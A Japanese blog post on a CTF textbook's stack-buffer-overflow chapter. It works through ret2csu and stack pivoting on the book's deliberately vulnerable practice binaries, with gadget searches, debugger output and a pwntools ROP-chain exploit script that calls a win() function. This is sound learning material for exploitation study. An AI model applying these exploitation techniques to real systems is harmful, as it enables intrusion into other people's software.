以下の内容はhttps://daisuke20240310.hatenablog.com/entry/shokai_stackより取得しました。


書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ

前回 は、「ゼロからマスター!Colab×Pythonでバイナリファイル解析実践ガイド (エンジニア入門シリーズ)」という書籍を、ざっくり読みました。

今回は、引き続き、「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」を読んでいきたいと思います。今回は、スタックベースエクスプロイトです。

それでは、やっていきます。

参考文献

今回、題材にさせて頂いた「詳解セキュリティコンテスト」です。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方(GPU実行時間の見積りとパスワード付きZIPファイル)
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)
・第31回:常設CTFのksnctfにチャレンジします(クリア状況は随時更新します)
・第32回:セキュリティコンテストチャレンジブックの「Part2 pwn」を読んだ
・第33回:セキュリティコンテストチャレンジブックの「付録」を読んでx86とx64のシェルコードを作った
・第34回:TryHackMeを始めてみたけどハードルが高かった話
・第35回:picoCTFを始めてみた(Beginner picoMini 2022:全13問完了)
・第36回:picoCTF 2024:Binary Exploitationの全10問をやってみた(Hardの1問は後日やります)
・第37回:picoCTF 2024:Reverse Engineeringの全7問をやってみた(Windowsプログラムの3問は後日やります)
・第38回:picoCTF 2024:General Skillsの全10問をやってみた
・第39回:picoCTF 2024:Web Exploitationの全6問をやってみた(最後の2問は解けず)
・第40回:picoCTF 2024:Forensicsの全8問をやってみた(最後の2問は解けず)
・第41回:picoCTF 2024:Cryptographyの全5問をやってみた(最後の2問は手つかず)
・第42回:picoCTF 2023:General Skillsの全6問をやってみた
・第43回:picoCTF 2023:Reverse Engineeringの全9問をやってみた
・第44回:picoCTF 2023:Binary Exploitationの全7問をやってみた(最後の1問は後日やります)
・第45回:書籍「セキュリティコンテストのためのCTF問題集」を読んだ
・第46回:書籍「詳解セキュリティコンテスト」のReversingを読んだ
・第47回:書籍「詳解セキュリティコンテスト」のPwnableのシェルコードを読んだ
・第48回:書籍「バイナリファイル解析 実践ガイド」を読んだ
・第49回:書籍「詳解セキュリティコンテスト」Pwnableのスタックベースエクスプロイトを読んだ ← 今回

以下は「詳解セキュリティコンテスト: CTFで学ぶ脆弱性攻略の技術 Compass Booksシリーズ」のサポートサイトです。問題ファイルをダウンロードすることが出来ます。

book.mynavi.jp

では、書籍の章を参考に書き進めていきます。

32章:スタックベースエクスプロイト

32.1:関数とスタックフレーム

興味深い内容が解説されています。

関数のローカル変数は、スタックに確保されますが、ローカル変数が複数あった場合、どのような順序で、スタックに配置されるのでしょうか。こちらにその解説がされています。

次の順で上位(アドレスが大きい)から配置されると解説されています。これらの分類内では、宣言した順に上位から配置されます。

  • ポインタ、数値の変数
  • 配列、及び、構造体

まず、通常の変数より、配列や構造体の変数の方が、下位(アドレスが小さい)に配置されます。例えば、文字列配列の場合は、アドレスが小さい位置から順番に格納されていきます。スタックバッファオーバーフローの場合、文字列配列の位置より、アドレスの大きい方に格納されているポインタや数値のローカル変数や、リターンアドレスに影響を与えることになります。リターンアドレスはスタックを確保する前の関数にジャンプした際に配置されるので、当然、ローカル変数より上位のアドレスになりますが、配列や構造体より上位に配置されるポインタや数値のローカル変数についても上位のアドレスになるため、スタックバッファオーバーフローによって書き換え可能になるため、攻撃者にとっては都合がいい配置と言えます。

32.2:攻撃手法

上で解説があったように、スタックバッファオーバーフローにより、ローカル変数の書き換え、リターンアドレスの書き換えを行う方法が解説されています。

その後、ROP についての解説がされています。また、ROPガジェットを探すツールとしては、rp++ が使われています。

その後は、スタックピボットという攻撃方法について解説されています。リターンアドレスだけでなく、rbp も都合のいいアドレスに書き換えることで、スタックを攻撃者の都合のいい領域に設定することが出来ます。

第3引数まで設定して関数を呼ぶ

ROP についての解説と、スタックピボットの解説の間に書かれていたコラム?の「第3引数まで設定して関数を呼ぶ」(P503)が、興味深かったので、ここにまとめます。

簡単に言うと、ROP を使って、第3引数まで使用する関数をコールしたいときに、RDI、RSI を引数に使ってる関数があって、pop rdi、pop rsi という ROPガジェットは見つかったけど、第3引数の RDX のための pop rdx がプログラム内に存在しなくて困る場合がありますが、そんな時に使える小技です。世の中では、ret2csu と呼ばれているそうです。では、詳しくやっていきます。

解説に使われているプログラムは、sbof_ret(files/pwnable/03_stack/sbof_ret)です。sbof_ret のソースコード(sbof_ret.c)は以下です。でも、このプログラムには、第3引数まで使う関数はありません。第3引数まで使う関数を ROP で飛びたいが、pop rdx が見つからない場合の手法なのに、なぜ、このプログラムを使って解説しているのか分かりません(笑)。

main関数では、name という配列が定義されていて、ユーザからの入力を 256byte まで受け付けるようになっている脆弱性のあるプログラムです。win1関数と win2関数が定義されていて、main関数からは呼ばれてないですが、リターンアドレスを書き換えて、win1関数や win2関数にジャンプできる、という意図だと思います。

#include <stdio.h>

void main(void){
    char name[0x10];

    printf("Input Name >> ");
    fgets(name, 0x100, stdin);
}

void win1(void){
    puts("This is win1\n");
    puts("Congratz!!");
}

void win2(unsigned key){
    puts("This is win2\n");
    if(key == 0xcafebabe)
        puts("Correct!");
    else
        puts("Wrong...");
}

ここでは、このプログラムの脆弱性について解説しているのではなく、第3引数まで使ってる関数が存在していないが、シェルを取りたいときなどに、第3引数まで指定する必要がある execve関数などを使いたい場合に、どうすればいいか、ということです。

まず、sbof_ret に対して、rp++ を使って、pop rdx を探してみます。まず、第1引数の RDI、第2引数の RSI を実行して、第3引数の RDX の ROPガジェットを探します。確かに、RDI、RSI は見つかりますが、RDX についての ROPガジェットが見つかりません。

$ rp-lin -f ./sbof_ret -r 3 | grep 'pop rdi'
0x401283: pop rdi ; ret ; (1 found)

$ rp-lin -f ./sbof_ret -r 3 | grep 'pop rsi'
0x401281: pop rsi ; pop r15 ; ret ; (1 found)

$ rp-lin -f ./sbof_ret -r 3 | grep 'pop rdx'

sbof_ret を Ghidra で C言語化した内容は以下です。ちょっと長いので、抜粋です。

注目するのは、__libc_csu_init関数 です。これを使うと、pop rdx の代わりに出来るというものです。__libc_csu_init関数 は、libc をリンクすると必ず生成される関数なので、汎用的に第3引数まで使用する関数を ROP で使えるということになります。

void processEntry _start(undefined8 param_1,undefined8 param_2)
{
  undefined auStack_8 [8];
  
  __libc_start_main(main,param_2,&stack0x00000008,__libc_csu_init,__libc_csu_fini,param_1,auStack_8)
  ;
  do {
                    // WARNING: Do nothing block with infinite loop
  } while( true );
}

void main(void)
{
  char name [16];
  
  printf("Input Name >> ");
  FUN_00401080(name,0x100,stdin);
  return;
}

void win1(void)
{
  puts("This is win1\n");
  puts("Congratz!!");
  return;
}

void win2(uint key)
{
  uint key_local;
  
  puts("This is win2\n");
  if (key == 0xcafebabe) {
    puts("Correct!");
  }
  else {
    puts("Wrong...");
  }
  return;
}

void __libc_csu_init(EVP_PKEY_CTX *param_1,undefined8 param_2,undefined8 param_3)
{
  long lVar1;
  
  _init(param_1);
  lVar1 = 0;
  do {
    (*(code *)(&__frame_dummy_init_array_entry)[lVar1])((ulong)param_1 & 0xffffffff,param_2,param_3)
    ;
    lVar1 = lVar1 + 1;
  } while (lVar1 != 1);
  return;
}

void __libc_csu_fini(void)
{
  return;
}

__libc_csu_init関数 のアセンブラが以下です。

リターンアドレスを書き換えて、0x40127a にジャンプします。ただし、あらかじめ、rbx(0 を設定しておく)、rbp、r12、r13、r14、r15 のために、スタックに値を格納しておきます。これにより、r12、r13、r14、r15 には任意の値を設定することが出来ます。0x401284 の ret命令のためのリターンアドレスに、0x401260 を格納しておきます。すると、第1引数の edi には r12d(32bit)の値が使われ、第2引数の rsi には r13 の値が使われ、第3引数の rdx には r14 の値が使われ、呼び出したい関数のアドレスが格納されたアドレスを r15 に格納しておくことで、今回使いたかった第3引数まで使う関数を呼び出すことが出来ます。ただし、r15 は、r15+rbx*8 という使われ方をするため、スタックに準備する際に、上にも書いたように rbx には 0 を設定しておきます。また、r15 に飛び先のアドレスを設定するのではなく、飛び先のアドレスが格納された場所(アドレス)を r15 に設定しなければなりません。多くの場合は、GOT領域が使いやすいと思います。

$ objdump -M intel -d sbof_ret
(途中、省略)
 0000000000401220 <__libc_csu_init>:
  401220:       f3 0f 1e fa             endbr64
  401224:       41 57                   push   r15
  401226:       4c 8d 3d e3 2b 00 00    lea    r15,[rip+0x2be3]        # 403e10 <__frame_dummy_init_array_entry>
  40122d:       41 56                   push   r14
  40122f:       49 89 d6                mov    r14,rdx
  401232:       41 55                   push   r13
  401234:       49 89 f5                mov    r13,rsi
  401237:       41 54                   push   r12
  401239:       41 89 fc                mov    r12d,edi
  40123c:       55                      push   rbp
  40123d:       48 8d 2d d4 2b 00 00    lea    rbp,[rip+0x2bd4]        # 403e18 <__do_global_dtors_aux_fini_array_entry>
  401244:       53                      push   rbx
  401245:       4c 29 fd                sub    rbp,r15
  401248:       48 83 ec 08             sub    rsp,0x8
  40124c:       e8 af fd ff ff          call   401000 <_init>
  401251:       48 c1 fd 03             sar    rbp,0x3
  401255:       74 1f                   je     401276 <__libc_csu_init+0x56>
  401257:       31 db                   xor    ebx,ebx
  401259:       0f 1f 80 00 00 00 00    nop    DWORD PTR [rax+0x0]
  401260:       4c 89 f2                mov    rdx,r14
  401263:       4c 89 ee                mov    rsi,r13
  401266:       44 89 e7                mov    edi,r12d
  401269:       41 ff 14 df             call   QWORD PTR [r15+rbx*8]
  40126d:       48 83 c3 01             add    rbx,0x1
  401271:       48 39 dd                cmp    rbp,rbx
  401274:       75 ea                   jne    401260 <__libc_csu_init+0x40>
  401276:       48 83 c4 08             add    rsp,0x8
  40127a:       5b                      pop    rbx
  40127b:       5d                      pop    rbp
  40127c:       41 5c                   pop    r12
  40127e:       41 5d                   pop    r13
  401280:       41 5e                   pop    r14
  401282:       41 5f                   pop    r15
  401284:       c3                      ret
  401285:       66 66 2e 0f 1f 84 00    data16 cs nop WORD PTR [rax+rax*1+0x0]
  40128c:       00 00 00 00
(途中、省略)

この手法により、pop rdx という ROPガジェットが見つからなくても、第3引数まで使う関数を呼び出すことが出来ることになります。

理論は分かったので、実際に第3引数まで使う関数を呼び出すエクスプロイトコードを書いてみます。

まず、gdb-peda の patternコマンドでリターンアドレスの位置を確認します。patternコマンドは、RIP に pattc で出力された文字列のうち、ある 8文字が入り、それを patto に入力すると位置を出力してくれる仕組みです。

32bitプログラムでやった場合は、Invalid $PC address: xxx のような感じで、分かりやすく EIP に入る値が分かったのですが、64bitプログラムの場合、RIP に格納される前のタイミングでエラーが発生してしまいます。ですが、スタックの先頭にある値が ret命令で RIP に格納されるので、スタックの先頭の値を見ればいいです。その値は patto に入力すると、リターンアドレスの位置が分かります(今回は 24 でした)。

$ gdb -q ../shokai_security_contest/files/pwnable/03_stack/sbof_ret
Reading symbols from ../shokai_security_contest/files/pwnable/03_stack/sbof_ret...
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ r
Starting program: /home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Input Name >> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffe1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RBX: 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret")
RCX: 0xffbfa94f
RDX: 0xfbad2288
RSI: 0x4056b1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RDI: 0x7ffff7f9da20 --> 0x0
RBP: 0x41412d4141434141 ('AACAA-AA')
RSP: 0x7fffffffe1e8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n")
RIP: 0x4011ad (<main+55>:       ret)
R8 : 0x4056e3 --> 0x0
R9 : 0x0
R10: 0x1000
R11: 0x246
R12: 0x0
R13: 0x7fffffffe308 --> 0x7fffffffe5c8 ("SHELL=/bin/bash")
R14: 0x0
R15: 0x7ffff7ffd020 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4011a6 <main+48>:  call   0x401080 <fgets@plt>
   0x4011ab <main+53>:  nop
   0x4011ac <main+54>:  leave
=> 0x4011ad <main+55>:  ret
   0x4011ae <win1>:     endbr64
   0x4011b2 <win1+4>:   push   rbp
   0x4011b3 <win1+5>:   mov    rbp,rsp
   0x4011b6 <win1+8>:   lea    rdi,[rip+0xe56]        # 0x402013
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1e8 ("(AADAA;AA)AAEAAaAA0AAFAAbA\n")
0008| 0x7fffffffe1f0 ("A)AAEAAaAA0AAFAAbA\n")
0016| 0x7fffffffe1f8 ("AA0AAFAAbA\n")
0024| 0x7fffffffe200 --> 0x1000a4162
0032| 0x7fffffffe208 --> 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret")
0040| 0x7fffffffe210 --> 0x7fffffffe2f8 --> 0x7fffffffe576 ("/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret")
0048| 0x7fffffffe218 --> 0xa50303d100202d29
0056| 0x7fffffffe220 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011ad in main () at sbof_ret.c:8
8       sbof_ret.c: そのようなファイルやディレクトリはありません.
gdb-peda$ patto (AADAA;A
(AADAA;A found at offset: 24

メイン関数のアセンブラは以下です。

gdb-peda$ disas
Dump of assembler code for function main:
   0x0000000000401176 <+0>:     endbr64
   0x000000000040117a <+4>:     push   rbp
   0x000000000040117b <+5>:     mov    rbp,rsp
   0x000000000040117e <+8>:     sub    rsp,0x10
   0x0000000000401182 <+12>:    lea    rdi,[rip+0xe7b]        # 0x402004
   0x0000000000401189 <+19>:    mov    eax,0x0
   0x000000000040118e <+24>:    call   0x401070 <printf@plt>
   0x0000000000401193 <+29>:    mov    rdx,QWORD PTR [rip+0x2ea6]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x000000000040119a <+36>:    lea    rax,[rbp-0x10]
   0x000000000040119e <+40>:    mov    esi,0x100
   0x00000000004011a3 <+45>:    mov    rdi,rax
   0x00000000004011a6 <+48>:    call   0x401080 <fgets@plt>
   0x00000000004011ab <+53>:    nop
   0x00000000004011ac <+54>:    leave
=> 0x00000000004011ad <+55>:    ret
End of assembler dump.

上のアセンブラから、スタックの位置関係を表にします。確かに、name から 24byte の位置にリターンアドレスがあります。

アドレス サイズ 内容
rbp + 8 8 リターンアドレス
rbp 8 RBP
rbp - 0x10 16 name(RSP)

Pythonコンソールで、GOT領域、PLT領域などを見てみます。

うーん、困りました。GOT領域にある libc の関数には、system関数や execve関数もありませんし、アドレスリークに使いやすい write関数もありません。この状況では、r15 に格納するための、飛び先のアドレスを格納した位置を作り出すのが困難です。GOT領域が格納している printf関数、puts関数のアドレスを使うことは出来ますが、どちらも、どこかに文字列を格納しておき、その先頭アドレスを渡す必要があります。それも厳しい状況です。

$ python
Python 3.11.2 (main, May  2 2024, 11:59:08) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> ee = ELF('sbof_ret')
[*] '/home/user/svn/experiment/shokai_security_contest/files/pwnable/03_stack/sbof_ret'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
>>> ee.got
{'__libc_start_main': 4210672, '__gmon_start__': 4210680, 'stdin': 4210752, 'puts': 4210712, 'printf': 4210720, 'fgets': 4210728}
>>> ee.plt
{'puts': 4198500, 'printf': 4198516, 'fgets': 4198532}

悩んでても解決は出来そうにないので、エクスプロイトコードは諦めます。ret2csu の原理は学べたのでよしとします。

32.2.4:Stack Pivot

Stack Pivot とは、スタックバッファオーバーフローを使った攻撃を行う際、書き換えることができる量が少ない場合に、bss領域、ヒープ領域などにスタックポインタ(RSP)を移動させて、自由に ROP を行えるようにする手法です。重要そうなので、少し詳しくやりたいと思います。

以下は、サポートサイトで配布されてる Stack Pivot で取り扱うソースコード(sbof_pivot.c)です。

main関数では、fgets関数が 2回実行されます。また、ローカル変数(スタック)として、16byte の配列 name が確保されています。fgets関数で指定されているサイズが 32byte なので、スタックバッファオーバーフローとしては、確保された 16byte と SavedRBP(8byte)、リターンアドレス(8byte)までしか書き換えることができません。

リターンアドレスを書き換えて、win関数を実行したいのですが、win関数は引数を 2つ必要とします。この引数に任意の値を設定するためには ROP(pop rdi と pop rsi)を使う必要がありそうですが、書き換えるサイズが少ないので、このままでは引数の値を設定することが出来ません。

具体的には、ROP では、 pop rdi などの ROPガジェットを探してきて、リターンアドレスを書き換えて、その ROPガジェットにジャンプさせて、リターンアドレスの次のアドレスの位置の 8byte に値を設定しておき、任意の値をレジスタにロードします。しかし、リターンアドレスまでしか書き換えることが出来ないと、このような ROP を使うことが出来ません。

ちなみに、fgets関数の第2引数のサイズは、自動でセットされる終端のヌル文字を含むので、今回の場合は 31byte を fgets関数に与えることになります。リターンアドレスの最上位バイトがセットできないことになります(リトルエンディアンなので)が、ヌル文字(0)が自動で設定されるので、リターンアドレスに指定できるアドレスの範囲は 3byte で表現できる 0x00FFFFFF までという制約があります。

#include <stdio.h>

char msg[0x100];

void main(void){
    char name[0x10];
    
    puts("Hello!");

    printf("Input Name >> ");
    fgets(name, 0x20, stdin);

    printf("Input Message >> ");
    fgets(msg, sizeof(msg), stdin);
}

void win(unsigned key1, unsigned key2){
    puts("This is win\n");
    if(key1 == 0xcafebabe && key2 == 0xc0bebeef)
        puts("Correct!");
    else
        puts("Wrong...");
}

main関数の逆アセンブラです。想定通り、スタックは 16byte を確保しています。

pwndbg> disassemble main
Dump of assembler code for function main:
   0x0000000000401176 <+0>: endbr64 
   0x000000000040117a <+4>: push   rbp
   0x000000000040117b <+5>: mov    rbp,rsp
   0x000000000040117e <+8>: sub    rsp,0x10
=> 0x0000000000401182 <+12>: lea    rdi,[rip+0xe7b]        # 0x402004
   0x0000000000401189 <+19>:    call   0x401060 <puts@plt>
   0x000000000040118e <+24>:    lea    rdi,[rip+0xe76]        # 0x40200b
   0x0000000000401195 <+31>:    mov    eax,0x0
   0x000000000040119a <+36>:    call   0x401070 <printf@plt>
   0x000000000040119f <+41>:    mov    rdx,QWORD PTR [rip+0x2e9a]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x00000000004011a6 <+48>:    lea    rax,[rbp-0x10]
   0x00000000004011aa <+52>:    mov    esi,0x20
   0x00000000004011af <+57>:    mov    rdi,rax
   0x00000000004011b2 <+60>:    call   0x401080 <fgets@plt>
   0x00000000004011b7 <+65>:    lea    rdi,[rip+0xe5c]        # 0x40201a
   0x00000000004011be <+72>:    mov    eax,0x0
   0x00000000004011c3 <+77>:    call   0x401070 <printf@plt>
   0x00000000004011c8 <+82>:    mov    rax,QWORD PTR [rip+0x2e71]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x00000000004011cf <+89>:    mov    rdx,rax
   0x00000000004011d2 <+92>:    mov    esi,0x100
   0x00000000004011d7 <+97>:    lea    rdi,[rip+0x2e82]        # 0x404060 <msg>
   0x00000000004011de <+104>:   call   0x401080 <fgets@plt>
   0x00000000004011e3 <+109>:   nop
   0x00000000004011e4 <+110>:   leave  
   0x00000000004011e5 <+111>:   ret    
End of assembler dump.

スタックを可視化しておきます。

アドレス サイズ 内容
rbp - 0x10 16 name
rbp 8 Saved RBP

セキュリティ機構も調べておきます。

$ ~/bin/checksec --file=sbof_pivot
RELRO          STACK CANARY     NX          PIE     RPATH     RUNPATH     Symbols     FORTIFY  Fortified  Fortifiable  FILE
Partial RELRO  No canary found  NX enabled  No PIE  No RPATH  No RUNPATH  73 Symbols  No       0          2            sbof_pivot

では、どうするのかというと、グローバル変数の msg[0x100] に注目します。ここにスタックポインタを移動させることを考えます。ただし、上で述べたように、ROP は使えないため、pop rsp; ret という ROPガジェットを使うことは出来ません。では、どうするのか。

まず、スタックの Saved RBP に設定したいスタックポインタのアドレスを格納しておきます。すると、leave命令で RBP の値が RSP にコピーされて、スタックの Saved RBP の値を RBP にセットされます。leave命令は、mov rsp, rbp と pop rbp が実行されるのと同じことです。そして、リターンアドレスには、leave命令と ret命令の ROPガジェットに設定します。こうすることで、もう一度、leave命令が実行されることになり、mov rsp, rbp により、スタックの Saved RBP に設定した任意のアドレスをスタックポインタに設定することが出来ます。

これでスタックポインタを移動させることが出来るのですが、1つ注意点があります。2回目の leave命令でやりたいのは、スタックの Saved RBP に設定した値が格納されている RBP を RSP に反映させることですが、このとき、現在のスタックポインタにある値が RBP にセットされる(通常のスタックバッファオーバーフローと同じように、この Saved RBP は使わないので値は何でもいい)ため、スタックポインタは 8byte 進んでしまうということです。よって、スタックの Saved RBP に設定する値は、8byte 小さくしておく必要があります。例えば、今回の場合だと、msg[0x100] の先頭から使う場合、msg の先頭アドレスマイナス 8 をした値をスタックの Saved RBP に設定しておく必要があります。

それでは、実際にやっていきます。

rp++ で ROPガジェットを探します。今回の問題の目的は win関数にジャンプして Correct! と表示させることなので、win関数の第1引数と第2引数も設定する必要があります。

第2引数の RSI の ROPガジェットは、pop r15 も含んでしまったので、r15 の分もスタックに積んでおく必要があります。

$ rp-lin -f ./sbof_pivot -r 3 | grep 'pop rdi'
0x4012a3: pop rdi ; ret ; (1 found)

$ rp-lin -f ./sbof_pivot -r 3 | grep 'pop rsi'
0x4012a1: pop rsi ; pop r15 ; ret ; (1 found)

$ rp-lin -f ./sbof_pivot -r 2 | grep 'leave'
0x4011e4: leave ; ret ; (1 found)
0x401232: leave ; ret ; (1 found)
0x4011e3: nop ; leave ; ret ; (1 found)
0x401231: nop ; leave ; ret ; (1 found)

アドレスを調べます。

$ nm sbof_pivot | grep msg
0000000000404060 B msg

$ nm sbof_pivot | grep win
00000000004011e6 T win

書籍では、pwntools を使って対話的に実行するエクスプロイトコードではなく、単純に入力する文字列を作る Pythonコードを実装しています。その形でもやりたいことは実現できると思いますが、ここでは、エクスプロイトコードを書いていこうと思います。

from pwn import *

proc = process( ['sh', '-c', './sbof_pivot'] )

res = proc.recvline()
print( res )
res2 = proc.recv(timeout=2)
print( res2 )

ropchain = b''

ropchain += p64( 0x404060 + 192 - 8 )     # Saved RBP 
ropchain += p64( 0x4011e4 )               # leave; ret;
proc.sendline( b'A' * 16 + ropchain[:-1] )

res = proc.recv(timeout=1)
print( res )

ropchain = b''

ropchain += p64( 0x4012a3 )           # pop rdi; ret;
ropchain += p64( 0xcafebabe )         # 
ropchain += p64( 0x4012a1 )           # pop rsi; pop r15; ret;
ropchain += p64( 0xc0bebeef )         # 
ropchain += p64( 0xdeadbeef )         # 何でもいい
ropchain += p64( 0x4011e6 )           # win()

proc.sendline( b'A' * 192 + ropchain )

早速動かしていきます。

うーん、動きません。なぜか、2行目の文字列("Input Name >> ")が取得できません。変な不具合があるのか、環境の問題なのか、、、

書籍のサポートサイトが提供してくれている Pythonスクリプトが pwntools を使った実装ではなく、単純に入力を作る Pythonスクリプトになっているのは、今回発生した問題が解決できなかったので、それを回避したものを実装したのかもしれませんね、、、分かりませんけど。

$ python tmp.py
[+] Starting local process './sbof_pivot': pid 2067
b'Hello!\n'
b''
before sendline
after sendline
Traceback (most recent call last):
  File "/home/user/svn/experiment/python/tmp.py", line 21, in <module>
    res = proc.recv(timeout=1)
          ^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 106, in recv
    return self._recv(numb, timeout) or b''
           ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 176, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
                               ^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/tube.py", line 155, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/user/20240819/lib/python3.11/site-packages/pwnlib/tubes/process.py", line 742, in recv_raw
    raise EOFError
EOFError
[*] Process './sbof_pivot' stopped with exit code -11 (SIGSEGV) (pid 2067)

もしかすると、ストリームバッファに入ったまま、出力されていないかもしれないので、ソースコード(sbof_pivot.c)はあるので、setvbuf関数を使って、ストリームバッファ(バッファリング)を無効化してやってみたいと思います。

$ diff sbof_pivot.c sbof_pivot_setvbuf.c
--- sbof_pivot.c        2022-04-10 01:25:23.000000000 +0900
+++ sbof_pivot_setvbuf.c        2025-01-06 21:41:18.015247200 +0900
@@ -5,6 +5,8 @@
 void main(void){
        char name[0x10];

+       setvbuf(stdout, NULL, _IONBF, 0);
+
        puts("Hello!");

        printf("Input Name >> ");

コンパイルします。ワーニングが出ますが、これは、オーバーフローしますよ、という警告のようです。

$ gcc -o sbof_pivot_setvbuf.out -fno-stack-protector -no-pie -g sbof_pivot_setvbuf.c
sbof_pivot_setvbuf.c: In function ‘main’:
sbof_pivot_setvbuf.c:13:9: warning: ‘fgets’ writing 32 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
   13 |         fgets(name, 0x20, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~
sbof_pivot_setvbuf.c:6:14: note: destination object ‘name’ of size 16
    6 |         char name[0x10];
      |              ^~~~
In file included from sbof_pivot_setvbuf.c:1:
/usr/include/stdio.h:592:14: note: in a call to function ‘fgets’ declared with attribute ‘access (write_only, 1, 2)592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)
      |              ^~~~~
sbof_pivot_setvbuf.c:13:9: warning: ‘fgets’ writing 32 bytes into a region of size 16 overflows the destination [-Wstringop-overflow=]
   13 |         fgets(name, 0x20, stdin);
      |         ^~~~~~~~~~~~~~~~~~~~~~~~
sbof_pivot_setvbuf.c:6:14: note: destination object ‘name’ of size 16
    6 |         char name[0x10];
      |              ^~~~
/usr/include/stdio.h:592:14: note: in a call to function ‘fgets’ declared with attribute ‘access (write_only, 1, 2)592 | extern char *fgets (char *__restrict __s, int __n, FILE *__restrict __stream)

実行してみます。2行目が出てます!やはり、ストリームバッファが邪魔していたようです。

$ python exploit_sbof_pivot_mine.py
[+] Starting local process './sbof_pivot_setvbuf.out': pid 2167
b'Hello!\n'
b'Input Name >> '
before sendline
after sendline
b'Input Message >> '
[*] Stopped process './sbof_pivot_setvbuf.out' (pid 2167)

アドレスがズレたと思うので、ROP などを組みなおしていきます。

うーん、leave命令はありましたが、pop rdi と pop rsi が見つからなくなりました。

$ rp-lin -f ./sbof_pivot_setvbuf.out -r 5 | grep 'pop rdi'

$ rp-lin -f ./sbof_pivot_setvbuf.out -r 5 | grep 'pop rsi'

$ rp-lin -f ./sbof_pivot_setvbuf.out -r 3 | grep 'leave'
0x4011ea: leave ; ret ; (1 found)
0x40123d: leave ; ret ; (1 found)
0x4011e9: nop ; leave ; ret ; (1 found)
